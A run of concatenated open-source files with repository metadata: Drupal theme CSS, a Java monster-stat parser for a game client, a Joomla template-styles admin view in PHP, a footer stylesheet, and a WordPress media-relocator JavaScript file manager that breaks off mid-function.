li.sfHover > ul{left:12em;top:0;}.sf-navbar ul .sf-sub-indicator{background-position:-10px -100px;}.sf-navbar ul a > .sf-sub-indicator{background-position:0 -100px;}.sf-navbar ul a:focus > .sf-sub-indicator,.sf-navbar ul a:hover > .sf-sub-indicator,.sf-navbar ul a:active > .sf-sub-indicator,.sf-navbar ul li:hover > a > .sf-sub-indicator,.sf-navbar ul li.sfHover > a > .sf-sub-indicator{background-position:-10px -100px;}.sf-navbar ul ul .sf-sub-indicator{background-position:-10px 0;}.sf-navbar ul ul a > .sf-sub-indicator{background-position:0 0;}.sf-navbar ul ul a:focus > .sf-sub-indicator,.sf-navbar ul ul a:hover > .sf-sub-indicator,.sf-navbar ul ul a:active > .sf-sub-indicator,.sf-navbar ul ul li:hover > a > .sf-sub-indicator,.sf-navbar ul ul li.sfHover > a > .sf-sub-indicator{background-position:-10px 0;}.sf-navbar > li > ul{background:transparent;padding:0;-moz-border-radius-bottomleft:0;-moz-border-radius-topright:0;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:0;} .growlUI div.messages{color :black;} #views-slideshow-form-wrapper .form-item.dependent-options{padding-left:5px;}#views-slideshow-form-wrapper .vs-dependent{padding-left:30px;} html.js .uc_out_of_stock_throbbing{background-image:url(/sites/all/modules/uc_out_of_stock/throbber.gif);background-repeat:no-repeat;background-position:left 3px;}html.js .uc_out_of_stock_throbbing.uc_oos_throbbing{background-position:left -17px;}.uc_out_of_stock_throbbing{background-image:none !important;} .jcarousel-skin-default{text-align:center;}.jcarousel-skin-default .jcarousel-container-horizontal{width:440px;height:102px;padding:20px 40px;margin:auto;}.jcarousel-skin-default .jcarousel-container-vertical{width:102px;height:440px;padding:40px 20px;margin:auto;}.jcarousel-skin-default .jcarousel-clip-horizontal{width:440px;overflow:hidden;}.jcarousel-skin-default .jcarousel-clip-vertical{height:440px;overflow:hidden;}.jcarousel-skin-default .jcarousel-item{padding:0;width:100px;height:100px;overflow:hidden;border:1px solid #CCC;list-style:none;background:#fff none;}.jcarousel-skin-default .jcarousel-item-horizontal{margin:0 4px;}.jcarousel-skin-default .jcarousel-item-vertical{margin:4px 0;}.jcarousel-skin-default .jcarousel-item-placeholder{background:#fff url(/sites/all/modules/jcarousel/skins/default/throbber.gif) no-repeat center center;color:#000;}.jcarousel-skin-default .jcarousel-next,.jcarousel-skin-default .jcarousel-prev{display:block;width:32px;height:32px;background-image:url(/sites/all/modules/jcarousel/skins/default/arrows.png);}.jcarousel-skin-default .jcarousel-next-disabled,.jcarousel-skin-default .jcarousel-prev-disabled{display:none;}.jcarousel-skin-default .jcarousel-prev-horizontal{position:absolute;top:55px;left:10px;background-position:0 0;}.jcarousel-skin-default .jcarousel-prev-horizontal:hover{background-position:-32px 0;}.jcarousel-skin-default .jcarousel-prev-horizontal:active{background-position:-64px 0;}.jcarousel-skin-default .jcarousel-next-horizontal{position:absolute;top:55px;right:10px;background-position:0 -32px;}.jcarousel-skin-default .jcarousel-next-horizontal:hover{background-position:-32px -32px;}.jcarousel-skin-default .jcarousel-next-horizontal:active{background-position:-64px -32px;}.jcarousel-skin-default .jcarousel-prev-vertical{position:absolute;top:10px;left:55px;background-position:0 -64px;}.jcarousel-skin-default .jcarousel-prev-vertical:hover{background-position:-32px -64px;}.jcarousel-skin-default .jcarousel-prev-vertical:active{background-position:-64px -64px;}.jcarousel-skin-default .jcarousel-next-vertical{position:absolute;bottom:10px;left:55px;background-position:0 -96px;}.jcarousel-skin-default .jcarousel-next-vertical:hover{background-position:-32px -96px;}.jcarousel-skin-default .jcarousel-next-vertical:active{background-position:-64px -96px;}.jcarousel-skin-default .jcarousel-navigation{margin:0;padding:0;}.jcarousel-skin-default .jcarousel-navigation li{display:inline;margin:0 2px 0 0;padding:0;background:none;}.jcarousel-skin-default .jcarousel-navigation li.active a{font-weight:bold;text-decoration:none;} .sf-menu.sf-style-light-blue{float:left;margin-bottom:1em;padding:0;}.sf-menu.sf-style-light-blue.sf-navbar{width:100%;}.sf-menu.sf-style-light-blue ul{padding-left:0;}.sf-menu.sf-style-light-blue a{border:1px solid #b7d5f3;color:#00305f;padding:0.75em 1em;}.sf-menu.sf-style-light-blue a.sf-with-ul{padding-right:2.25em;}.sf-menu.sf-style-light-blue.rtl a.sf-with-ul{padding-left:2.25em;padding-right:1em;}.sf-menu.sf-style-light-blue.sf-navbar a{border:0;}.sf-menu.sf-style-light-blue span.sf-description{color:#13a;display:block;font-size:0.8em;line-height:1.5em;margin:5px 0 0 5px;padding:0;}.sf-menu.sf-style-light-blue li,.sf-menu.sf-style-light-blue.sf-navbar{background:#d9ecff;}.sf-menu.sf-style-light-blue li li{background:#d1e8ff;}.sf-menu.sf-style-light-blue li li li{background:#c6e3ff;}.sf-menu.sf-style-light-blue li:hover,.sf-menu.sf-style-light-blue li.sfHover,.sf-menu.sf-style-light-blue li.active a,.sf-menu.sf-style-light-blue a:focus,.sf-menu.sf-style-light-blue a:hover,.sf-menu.sf-style-light-blue a:active,.sf-menu.sf-style-light-blue.sf-navbar li li{background:#b5d8fa;color:#001020;}.sf-menu.sf-style-light-blue.sf-navbar li ul{background-color:#b5d8fa;}.sf-menu.sf-style-light-blue.sf-navbar li ul li ul{background-color:transparent;}.sf-menu.sf-style-light-blue .sf-sub-indicator{background-image:url(/sites/all/libraries/superfish/images/arrows-ffffff.png);}.sf-menu.rtl.sf-style-light-blue .sf-sub-indicator{background-image:url(/sites/all/libraries/superfish/images/arrows-ffffff-rtl.png);}.sf-menu.sf-style-light-blue ul.sf-megamenu li.sf-megamenu-wrapper ol,.sf-menu.sf-style-light-blue ul.sf-megamenu li.sf-megamenu-wrapper ol li{margin:0;padding:0;}.sf-menu.sf-style-light-blue ul.sf-megamenu li.sf-megamenu-wrapper a.menuparent{font-weight:bold;}.sf-menu.sf-style-light-blue ul.sf-megamenu li.sf-megamenu-wrapper ol li.sf-megamenu-column{display:inline;float:left;width:12em;}.sf-menu.sf-style-light-blue.rtl ul.sf-megamenu li.sf-megamenu-wrapper ol li.sf-megamenu-column{float:right;}.sf-menu.sf-style-light-blue li.sf-parent-children-1 ul.sf-megamenu{width:12em;}.sf-menu.sf-style-light-blue li.sf-parent-children-2 ul.sf-megamenu{width:24em;}.sf-menu.sf-style-light-blue li.sf-parent-children-3 ul.sf-megamenu{width:36em;}.sf-menu.sf-style-light-blue li.sf-parent-children-4 ul.sf-megamenu{width:48em;}.sf-menu.sf-style-light-blue li.sf-parent-children-5 ul.sf-megamenu{width:60em;}.sf-menu.sf-style-light-blue li.sf-parent-children-6 ul.sf-megamenu{width:72em;}.sf-menu.sf-style-light-blue li.sf-parent-children-7 ul.sf-megamenu{width:84em;}.sf-menu.sf-style-light-blue li.sf-parent-children-8 ul.sf-megamenu{width:96em;}.sf-menu.sf-style-light-blue li.sf-parent-children-9 ul.sf-megamenu{width:108em;}.sf-menu.sf-style-light-blue li.sf-parent-children-10 ul.sf-megamenu{width:120em;}
elmermqph/saci_ecommerce_final
sites/default/files/css/css_f33JZlIfVXqz74sEba9AzgYLmP-ZPN-Tz4wkIqywQgQ.css
CSS
gpl-2.0
16,209
package com.lcsc.cs.lurkclient.game; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Created by Jake on 3/18/2015. */ public class MonsterInfo { private static final Logger _logger = LoggerFactory.getLogger(MonsterInfo.class); public final String info; public final String name; public final String description; public final String health; public final String attack; public final String defense; public final String regen; public MonsterInfo(String info) { this.info = info; Pattern pattern = Pattern.compile("(Name:|Description:|Health:|Gold:|Attack:|Defense:|Regen:|Status:)(.*?)(\n|$)"); Matcher matcher = pattern.matcher(info); String name = "<name>"; String description = "<description>"; String health = "<health>"; String attack = "<attack>"; String defense = "<defense>"; String regen = "<regen>"; while (matcher.find()) { String type = matcher.group(1); if (type.equals("Name:")) name = matcher.group(2); else if (type.equals("Description:")) description = matcher.group(2); else if (type.equals("Health:")) health = matcher.group(2); else if (type.equals("Attack:")) attack = matcher.group(2); else if (type.equals("Defense:")) defense = matcher.group(2); else if (type.equals("Regen:")) regen = matcher.group(2); else _logger.warn("Invalid Regex group for MonsterInfo: " + type); } this.name = name.trim(); this.description = description.trim(); this.health = health.trim(); this.attack = attack.trim(); this.defense = defense.trim(); this.regen = regen.trim(); if (this.name.equals("<name>") || this.description.equals("<description>") || this.health.equals("<health>") || this.attack.equals("<attack>") || this.defense.equals("<defense>") || this.regen.equals("<regen>")) _logger.warn("The given MonsterInfo string has an invalid parameter: "+info); } }
JakeWaffle/LurkClient
src/main/java/com/lcsc/cs/lurkclient/game/MonsterInfo.java
Java
gpl-2.0
2,405
<?php /** * @package Joomla.Administrator * @subpackage com_templates * * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; /** * View class for a list of template styles. * * @package Joomla.Administrator * @subpackage com_templates * @since 1.6 */ class TemplatesViewStyles extends JViewLegacy { protected $items; protected $pagination; protected $state; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return mixed A string if successful, otherwise a Error object. */ public function display($tpl = null) { $this->items = $this->get('Items'); /*echo $this->get('QueryListCommand')->dump(); die;*/ $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->preview = JComponentHelper::getParams('com_templates')->get('template_positions_display'); TemplatesHelper::addSubmenu('styles'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } require_once JPATH_ROOT.'/administrator/components/com_website/helpers/website.php'; $this->listWebsite=websiteHelperFrontEnd::getOptionListWebsite('styles.quick_assign_website'); // Check if there are no matching items if (!count($this->items)) { JFactory::getApplication()->enqueueMessage( JText::_('COM_TEMPLATES_MSG_MANAGE_NO_STYLES'), 'warning' ); } $this->addToolbar(); $this->sidebar = JHtmlSidebar::render(); return parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $canDo = JHelperContent::getActions('com_templates'); JToolbarHelper::title(JText::_('COM_TEMPLATES_MANAGER_STYLES'), 'eye thememanager'); if ($canDo->get('core.edit.state')) { JToolbarHelper::makeDefault('styles.setDefault', 'COM_TEMPLATES_TOOLBAR_SET_HOME'); JToolbarHelper::divider(); } if ($canDo->get('core.edit')) { JToolbarHelper::editList('style.edit'); } if ($canDo->get('core.create')) { JToolbarHelper::custom('styles.duplicate', 'copy.png', 'copy_f2.png', 'JTOOLBAR_DUPLICATE', true); JToolbarHelper::divider(); } if ($canDo->get('core.delete')) { JToolbarHelper::deleteList('', 'styles.delete'); JToolbarHelper::divider(); } if ($canDo->get('core.admin')) { JToolbarHelper::preferences('com_templates'); JToolbarHelper::divider(); } JToolbarHelper::help('JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES'); JHtmlSidebar::setAction('index.php?option=com_templates&view=styles'); $supperAdmin=JFactory::isSupperAdmin(); if($supperAdmin){ $option1=new stdClass(); $option1->id=-1; $option1->title="Run for all"; $listWebsite1[]=$option1; $option1=new stdClass(); $option1->id=-0; $option1->title="None"; $listWebsite1[]=$option1; $listWebsite2= websiteHelperFrontEnd::getWebsites(); $listWebsite=array_merge($listWebsite1,$listWebsite2); JHtmlSidebar::addFilter( JText::_('JOPTION_SELECT_WEBSITE'), 'filter_website_id', JHtml::_('select.options',$listWebsite, 'id', 'title', $this->state->get('filter.website_id')) ); } JHtmlSidebar::addFilter( JText::_('COM_TEMPLATES_FILTER_TEMPLATE'), 'filter_template', JHtml::_( 'select.options', TemplatesHelper::getTemplateOptions($this->state->get('filter.client_id')), 'value', 'text', $this->state->get('filter.template') ) ); JHtmlSidebar::addFilter( JText::_('JGLOBAL_FILTER_CLIENT'), 'filter_client_id', JHtml::_('select.options', TemplatesHelper::getClientOptions(), 'value', 'text', $this->state->get('filter.client_id')) ); } }
cuongnd/test_pro
components/com_templates/views/styles/view.html.php
PHP
gpl-2.0
4,159
/** * Footer 14 stylesheet * */ .footer-14 { padding-top: 30px; padding-bottom: 30px; background: #f4f5f6; line-height: 25px; } .footer-14 .brand { position: absolute; top: 0; left: 15px; } .footer-14 a { color: #95a5a6; font-weight: 500; } .footer-14 a:hover, .footer-14 a:focus, .footer-14 a.active { color: #e74c3c; } .footer-14 nav { font-size: 16px; font-weight: normal; color: inherit; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-weight: 500; text-align: center; margin: 0 100px; } .footer-14 nav ul { list-style: none; margin: 0; padding: 0; } .footer-14 nav ul li { float: none; display: inline-block; margin-left: 50px; line-height: 25px; } @media (max-width: 767px) { .footer-14 nav ul li { margin-left: 20px; } } .footer-14 nav ul li:first-child { margin-left: 0; } .footer-14 .social-btns { position: absolute; top: 0; right: 15px; white-space: nowrap; } .footer-14 .social-btns > * { display: inline-block; margin-left: 15px; font-size: 16px; font-weight: normal; color: #95a5a6; width: 16px; height: 25px; overflow: hidden; text-align: center; vertical-align: top; opacity: 100; filter: alpha(opacity=10000); opacity: 1; filter: alpha(opacity=100); } .footer-14 .social-btns > *:first-child { margin-left: 0; } .footer-14 .social-btns > * > * { display: block; position: relative; top: 0; -webkit-transition: 0.25s top; -moz-transition: 0.25s top; -o-transition: 0.25s top; transition: 0.25s top; } .footer-14 .social-btns > *:hover > * { top: -100%; } .footer-14 .social-btns .social-holder > * { display: block; } @media (max-width: 1200px) { .footer-14 nav { text-align: left; } } @media (max-width: 992px) { .footer-14 .brand { display: none; } .footer-14 nav { text-align: left; margin: 0 0 20px; } .footer-14 nav ul li { float: none; margin: 18px 0 0; display: block; } .footer-14 nav ul li:first-child { margin-top: 0; } .footer-14 .social-btns { margin: 0 0 30px; position: relative; display: block; float: none; right: 0; } }
snappermorgan/snapgen2
wp-content/themes/designmodo/templates/startup-framework/build-wp/ui-kit/ui-kit-footer/css/footer-14-style.css
CSS
gpl-2.0
2,165
//**** Global variables ******************************************************************* var mrl_shift_pressed = false; // Flag indicates shift key is pressed or not var mrl_ajax = 0; var mrloc_right_menu; // Right-click menu class object var mrloc_input_text; // Text-input form class object var mrloc_mouse_x, mrloc_mouse_y; var pane_left, pane_right; // Pane class objects // function name: (none) // description : initialization // argument : (void) jQuery(document).ready(function() { mrloc_right_menu = new MrlRightMenuClass(); mrloc_input_text = new MrlInputTextClass(); pane_left = new MrlPaneClass('mrl_left', true); pane_right = new MrlPaneClass('mrl_right', true); pane_left.opposite = pane_right; pane_right.opposite = pane_left; adjust_layout(); pane_left.setdir("/"); pane_right.setdir("/"); jQuery(document).keydown(function (e) { if(e.shiftKey) { mrl_shift_pressed = true; } }); jQuery(document).mousemove(function(e){ mrloc_mouse_x = e.pageX; mrloc_mouse_y = e.pageY; }); jQuery(document).keyup(function(event){ mrl_shift_pressed = false; }); jQuery('#mrl_btn_left2right').click(function() { if (mrl_ajax) return; mrloc_move(pane_left, pane_right); }); jQuery('#mrl_btn_right2left').click(function() { if (mrl_ajax) return; mrloc_move(pane_right, pane_left); }); jQuery('#mrl_test').click(function() { var data = { action: 'mrelocator_test' }; jQuery.post(ajaxurl, data, function(response) { alert("mrelocator_test: "+response); }); }); }); //**** Pane class ******************************************************************* var MrlPaneClass = function(id_root, flg_chkbox) { this.cur_dir = ""; this.dir_list = new Array(); this.dir_disp_list = new Array(); this.id_root = id_root; this.id_wrapper = id_root + "_wrapper"; this.id_pane = id_root + "_pane"; this.id_dir = id_root + "_path"; this.id_dir_new = id_root + "_dir_new"; this.id_dir_up = id_root + "_dir_up"; this.flg_chkbox = flg_chkbox; this.checked_loc = -1; this.last_div_id = ""; this.chk_prepare_id = 0; this.opposite=this; var that = this; jQuery('#'+this.id_dir_up).click(function(ev) { if (mrl_ajax) return; if ("/" == that.cur_dir) return; that.chdir(".."); }); jQuery('#'+this.id_dir_new).click(function(ev) { if (mrl_ajax) return; mrloc_input_text.make("Make Directory","",300, true); mrloc_input_text.set_callback(function(){ var dir = mrloc_input_text.result; if (dir=="") return; if (that.check_same_name(dir)) { alert("The same name exists."); return; } var res = ""; var data = { action: 'mrelocator_mkdir', dir: that.cur_dir, newdir: dir }; mrl_ajax_in(); jQuery.post(ajaxurl, data, function(response) { if (response.search(/Success/i) < 0) alert("mrelocator_mkdir: "+response); if (that.cur_dir == that.opposite.cur_dir) { that.refresh(); that.opposite.refresh(); } else { that.refresh(); } mrl_ajax_out(); }); }); }); } MrlPaneClass.prototype.get_chkid = function (n) {return this.id_pane+'_ck_'+n;} MrlPaneClass.prototype.get_divid = function (n) {return this.id_pane+'_'+n;} MrlPaneClass.prototype.refresh = function () {this.setdir(this.cur_dir);} // function name: MrlPaneClass::setdir // description : move to the directory and display directory listing // argument : (dir)absolute path name of the target directory MrlPaneClass.prototype.setdir = function(dir) { jQuery('#'+this.id_wrapper).css('cursor:wait'); var data = { action: 'mrelocator_getdir', dir: dir }; var that = this; mrl_ajax_in(); jQuery.post(ajaxurl, data, function(response) { that.dir_list = that.dir_ajax(data.dir, response); mrl_ajax_out(); }); } // function name: mrl_ins8203 // description : // argument : (str) function mrl_ins8203(str) { var ret="", i; for (i=0; i<str.length; i+=3) { ret += str.substr(i, 3); ret += '&#8203;' } return ret; } // function name: MrlPaneClass::dir_ajax // description : display directory list retrieved from server // argument : (dir)target_dir: target directory; (dirj):list(JSON); MrlPaneClass.prototype.dir_ajax = function(target_dir,dirj) { if (dirj.search(/error/i) == 0) { alert(dirj); jQuery('#'+this.id_wrapper).css('cursor:default'); return; } this.cur_dir = target_dir; jQuery('#'+this.id_dir).val(target_dir); var disp_num = 0; dirj = jQuery.trim(dirj); if (dirj=="") { jQuery('#'+this.id_pane).html(""); return new Array(); } var dir; try { //dirj = dirj.substr(0, dirj.length-1); dir = JSON.parse(dirj); } catch (err) { alert(dirj+" : "+mrl_toHex(dirj)); document.write('<table border="3"><tr><td width="200">'); document.write("<prea>"+err+"\n"+dirj+"</pre>"); document.write("</td></tr></table>"); } var html = ""; var that = this; this.last_chk_id = ""; for (i=0; i<dir.length; i++) { if (dir[i].isthumb) continue; this.dir_disp_list[disp_num] = i; html = html+'<div style="vertical-align:middle;display:block;height:55px;clear:both; background-color:#fff;position:relative;">'; if (this.flg_chkbox) { html = html + '<div style="float:left;"><input type="checkbox" id="'+this.get_chkid(disp_num)+'"></div>'; } html = html + '<div style="float:left;" id="' + this.get_divid(disp_num)+'">'; this.last_div_id = this.get_divid(disp_num); if (dir[i].thumbnail_url && dir[i].thumbnail_url!="") { html=html+'<img style="margin:0 5px 0 5px;" src="' + dir[i].thumbnail_url+'" width="50" />'; } html=html+'</div><div class="mrl_filename">'; html = html + mrl_ins8203(dir[i].name)/*+" --- " + dir[i].isdir+ (dir[i].id!=""?" "+dir[i].id:"")*/; html = html + '</div></div>'; disp_num ++; } jQuery('#'+this.id_pane).html(html); //if (this.flg_chkbox) { function callMethod_chkprepare() {that.prepare_checkboxes();} this.chk_prepare_id = setInterval(callMethod_chkprepare, 20); //} jQuery('#'+this.id_wrapper).css('cursor:default'); return dir; } // function name: MrlPaneClass::prepare_checkboxes // description : prepare event for checkboxes and right-click events(mkdir, rename) // argument : (void) MrlPaneClass.prototype.prepare_checkboxes = function() { var that = this; if (jQuery('#'+this.last_div_id).length>0) { clearInterval(this.chk_prepare_id); for (i=0; i<this.dir_disp_list.length; i++) { var idx = this.dir_disp_list[i]; //if (this.dir_list[idx].isthumb) continue; jQuery('#'+this.get_divid(i)).data('order', i); jQuery('#'+this.get_divid(i)).data('data', idx); if (this.flg_chkbox) { jQuery('#'+this.get_chkid(i)).data('order', i); jQuery('#'+this.get_chkid(i)).data('data', idx); jQuery('#'+this.get_chkid(i)).change(function() { if (mrl_shift_pressed && that.checked_loc >= 0) { var loc1 = jQuery(this).data('order'); var loc2 = that.checked_loc; var checked = jQuery('#'+that.get_chkid(loc1)).attr('checked'); for (n=Math.min(loc1,loc2); n<=Math.max(loc1,loc2); n++) { if (checked == 'checked') { jQuery('#'+that.get_chkid(n)).attr('checked','checked'); } else if (checked === true) { jQuery('#'+that.get_chkid(n)).attr('checked',true); } else if (checked === false) { jQuery('#'+that.get_chkid(n)).attr('checked',false); } else { jQuery('#'+that.get_chkid(n)).removeAttr('checked'); } } } that.checked_loc = jQuery(this).data('order'); }); } jQuery(document).bind("contextmenu",function(e){ return false; }); jQuery('#'+this.get_divid(i)).mousedown(function(ev) { if (ev.which == 3) { ev.preventDefault(); var isDir = that.dir_list[jQuery(this).data('data')]['isdir']; var arrMenu = new Array("Preview","Rename"); if (isDir) { arrMenu.push("Delete"); } mrloc_right_menu.make(arrMenu); var that2 = this; if (isDir) { jQuery('#'+mrloc_right_menu.get_item_id(2)).click(function(){ //delete var target = that.dir_list[jQuery(that2).data('data')]; var isEmptyDir = target['isemptydir']; if (!isEmptyDir) {alert('Directory not empty.');return;} var target = that.dir_list[jQuery(that2).data('data')]; var dirname = target['name']; var data = { action: 'mrelocator_delete_empty_dir', dir: that.cur_dir, name: dirname }; mrl_ajax_in(); jQuery.post(ajaxurl, data, function(response) { if (response.search(/Success/i) < 0) {alert("mrelocator_delete_empty_dir: "+response);} that.refresh(); if (that.cur_dir == that.opposite.cur_dir) { that.opposite.refresh(); } if (that.cur_dir+dirname+"/" == that.opposite.cur_dir) { that.opposite.setdir(that.cur_dir); } mrl_ajax_out(); }); }); } jQuery('#'+mrloc_right_menu.get_item_id(0)).click(function(){ //preview var url = mrloc_url_root + (that.cur_dir+that.dir_list[jQuery(that2).data('data')]['name'])/*.substr(mrloc_document_root.length)*/; window.open(url, 'mrlocpreview', 'toolbar=0,location=0,menubar=0') }); jQuery('#'+mrloc_right_menu.get_item_id(1)).click(function(){ //rename if (mrl_ajax) return; var target = that.dir_list[jQuery(that2).data('data')]; if (target['norename']) { alert("Sorry, you cannot rename this item."); return; } var old_name = target['name']; mrloc_input_text.make("Rename ("+old_name+")",old_name,300, target['isdir'] ); mrloc_input_text.set_callback(function(){ if (old_name == mrloc_input_text.result || mrloc_input_text.result=="") { return; } if (that.check_same_name(mrloc_input_text.result)) { alert("The same name exists."); return; } var data = { action: 'mrelocator_rename', dir: that.cur_dir, from: old_name, to: mrloc_input_text.result }; mrl_ajax_in(); jQuery.post(ajaxurl, data, function(response) { if (response.search(/Success/i) < 0) alert("mrelocator_rename: "+response); if (that.opposite.cur_dir.indexOf(that.cur_dir+old_name+"/")===0) { that.opposite.setdir(that.cur_dir+mrloc_input_text.result+"/"+that.opposite.cur_dir.substr((that.cur_dir+old_name+"/").length)); } if (that.cur_dir == that.opposite.cur_dir) { that.refresh(); that.opposite.refresh(); } else { that.refresh(); } mrl_ajax_out(); }); }); }); } var dir = that.dir_list[jQuery(this).data('data')]; }); jQuery('#'+this.get_divid(i)).click(function() { if (mrl_ajax) return; var dir = that.dir_list[jQuery(this).data('data')]; if (dir.isdir) { that.chdir(dir.name); } }); } } } MrlPaneClass.prototype.check_same_name = function(str) { for (var i=0; i<this.dir_list.length; i++) { if (this.dir_list[i]['name'] == str) { return true; } } return false; } // function name: MrlPaneClass::chdir // description : move directory and display its list // argument : (dir)target directory MrlPaneClass.prototype.chdir = function(dir) { var last_chr = this.cur_dir.substr(this.cur_dir.length-1,1); var new_dir = this.cur_dir; if (dir == "..") { if (last_chr == "/") { new_dir = new_dir.substr(0, new_dir.length-1); } var i=0; for (i=new_dir.length-1; i>=0; i--) { if (new_dir.substr(i, 1)=="/") { new_dir = new_dir.substr(0, i+1); break; } } } else { if (last_chr != "/") new_dir += "/"; new_dir += dir; if (last_chr == "/") new_dir += "/"; } this.setdir(new_dir); } // function name: MrlPaneClass::move // description : moving checked files/directories // argument : (pane_from)pane object; (pane_to)pane object function mrloc_move(pane_from, pane_to) { var i,j; var flist=""; if (pane_from.cur_dir == pane_to.cur_dir) return; // make list of checked item for (i=0; i<pane_from.dir_disp_list.length; i++) { var attr = jQuery('#'+pane_from.get_chkid(i)).attr('checked'); if (attr=='checked' || attr===true) { flist += pane_from.dir_list[pane_from.dir_disp_list[i]].name + "/"; for (j=0; j<pane_from.dir_list.length; j++) { if (pane_from.dir_list[j].isthumb && pane_from.dir_list[j].parent == pane_from.dir_disp_list[i]) { flist += pane_from.dir_list[j].name + "/"; } } } } if (flist=="") return; flist = flist.substr(0, flist.length-1); var data = { action: 'mrelocator_move', dir_from: pane_from.cur_dir, dir_to: pane_to.cur_dir, items: flist }; mrl_ajax_in(); jQuery.post(ajaxurl, data, function(response) { if (response.search(/Success/i) < 0) alert("mrloc_move(): "+response); pane_left.refresh(); pane_right.refresh(); mrl_ajax_out(); }); } //**** right-menu class ******************************************************************* var MrlRightMenuClass = function() { var num=0; var flgRegisterRemoveFunc = false; var pos_left = 0; var pos_right = 0; } // function name: MrlRightMenuClass::make // description : make and display right-click menu // argument : (items)array of menu items MrlRightMenuClass.prototype.make = function(items) { var html=""; var i; jQuery('body').append('<div id="mrl_right_menu"></div>'); this.num = items.length; for (i=0; i<items.length; i++) { html += '<div class="mrl_right_menu_item" id="mrl_right_menu_item_' + i + '">'; html += items[i]; html += '</div>'; } this.pos_left = mrloc_mouse_x; this.pos_top = mrloc_mouse_y; jQuery('#mrl_right_menu').html(html); jQuery('#mrl_right_menu').css('top',this.pos_top+"px"); jQuery('#mrl_right_menu').css('left',this.pos_left+"px"); for (i=0; i<items.length; i++) { var id = 'mrl_right_menu_item_' + i; jQuery('#'+id).hover( function(){this.removeClass('mrl_right_menu_item');this.addClass('mrl_right_menu_item_hover');}, function(){this.removeClass('mrl_right_menu_item_hover');this.addClass('mrl_right_menu_item');} ); } if (!this.flgRegisterRemoveFunc) { jQuery(document).click(function(){jQuery('#mrl_right_menu').remove();}); this.flgRegisterRemoveFunc = true; } } // function name: MrlRightMenuClass::get_item_id // description : get the id of the specified item // argument : (n)index of item (starting from 0) MrlRightMenuClass.prototype.get_item_id = function(n) { return 'mrl_right_menu_item_' + n; } //**** Text input form class ******************************************************************* var MrlInputTextClass = function() { var flgRegisterRemoveFunc = false; var pos_left = 0; var pos_right = 0; var result = ""; var flgOK = false; var callback; } // function name: MrlInputTextClass::make // description : make and display a text input form // argument : (title)title; (init_text)initial text; (textbox_width)width of textbox MrlInputTextClass.prototype.make = function(title, init_text, textbox_width, is_dirname) { this.is_dirname = is_dirname; var html=""; jQuery('body').append('<div id="mrl_input_text"></div>'); html = '<div class="title">'+title+'</div>'; html += '<input type="textbox" id="mrl_input_textbox" style="width:'+textbox_width+'px"/>'; html += '<div class="mrl_input_text_button_wrapper">'; html += '<div class="mrl_input_text_button" id="mrl_input_text_ok">&nbsp;OK&nbsp;</div>'; html += '<div class="mrl_input_text_button" id="mrl_input_text_cancel">&nbsp;Cancel&nbsp;</div>'; html += '</div>'; this.pos_left = mrloc_mouse_x; this.pos_top = mrloc_mouse_y; jQuery('#mrl_input_text').html(html); jQuery('#mrl_input_text').css('top',this.pos_top+"px"); jQuery('#mrl_input_text').css('left',this.pos_left+"px"); jQuery('#mrl_input_textbox').val(init_text); var that = this; jQuery('#mrl_input_text_ok').click(function(){ var result = jQuery('#mrl_input_textbox').val(); if (that.check_dotext(result, that.is_dirname)) { alert("Please do not use 'dot + file extension' pattern in the directory name because that can cause problems."); return; } if (that.check_invalid_chr(result)) { alert("The name is not valid."); return; } jQuery('body').unbind('click.mrlinput'); that.result = result; jQuery('#mrl_input_text').remove(); that.callback(); }); jQuery('#mrl_input_text_cancel').click(function(){ jQuery('#mrl_input_text').remove(); jQuery('body').unbind('click.mrlinput'); }); jQuery('body').bind('click.mrlinput', function(e){e.preventDefault();}) jQuery('#mrl_input_textbox').focus(); } // function name: MrlInputTextClass::set_callback // description : register callback function called when OK is pressed // argument : (c)callback function MrlInputTextClass.prototype.set_callback = function(c) { this.callback = c; } // function name: MrlInputTextClass::check_dotext // description : check if '.+file extension' pattern exists in the name (ex)abc.jpgdef // argument : (str: target string, isdir: the name is of a directory) // return : true(exists), false(not exists) MrlInputTextClass.prototype.check_dotext = function(str, isdir) { var ext = ['.jpg', '.jpeg', '.gif', '.png', '.mp3','.m4a','.ogg','.wav', '.mp4v', '.mp4', '.mov', '.wmv', '.avi', '.mpg', '.ogv', '.3gp', '.3g2', '.pdf', '.docx', '.doc', '.pptx', 'ppt', '.ppsx', '.pps', '.odt', '.xlsx', '.xls']; var i; for (i=0; i<ext.length; i++) { if (str.toLowerCase().indexOf(ext[i]) >= 0) { if (isdir) return true; } } return false; } // function name: MrlInputTextClass::invalid_chr // description : check if invalid character exists in the name. // argument : (str: target string) // return : true(exists), false(not exists) MrlInputTextClass.prototype.check_invalid_chr = function(str) { var chr = ["\\", "/", ":", "*", "?", "\"", "<", ">", "|", "%", "&"]; var i; for (i=0; i<chr.length; i++) { if (str.indexOf(chr[i]) >= 0) { return true; } } return false; } //**** Global functions********************************************************************************* // function name: adjust_layout // description : adjust layout when resized // argument : (void) function adjust_layout() { var width_all = jQuery('#mrl_wrapper_all').width(); var height_all = jQuery('#mrl_wrapper_all').height(); var width_center =jQuery('#mrl_center_wrapper').width(); var height_mrl_box = jQuery('.mrl_box1').height(); var pane_w = (width_all - width_center)/2-1; jQuery('.mrl_wrapper_pane').width(pane_w); jQuery('.mrl_path').width(pane_w); jQuery('.mrl_pane').width(pane_w); jQuery('.mrl_pane').height(height_all - height_mrl_box); jQuery('.mrl_filename').width(pane_w-200); } // function name: mrl_ajax_in // description : recognize entering ajax procedure to avoid user interrupt while data processing // argument : (void) function mrl_ajax_in() { mrl_ajax ++; document.body.style.cursor = "wait"; if (mrl_ajax==1) jQuery(document).bind('click.mrl', function(e){ e.cancelBubble = true; if (e.stopPropagation) e.stopPropagation(); e.preventDefault(); }); } // function name: mrl_ajax_out // description : recognize finishing ajax procedure // argument : (void) function 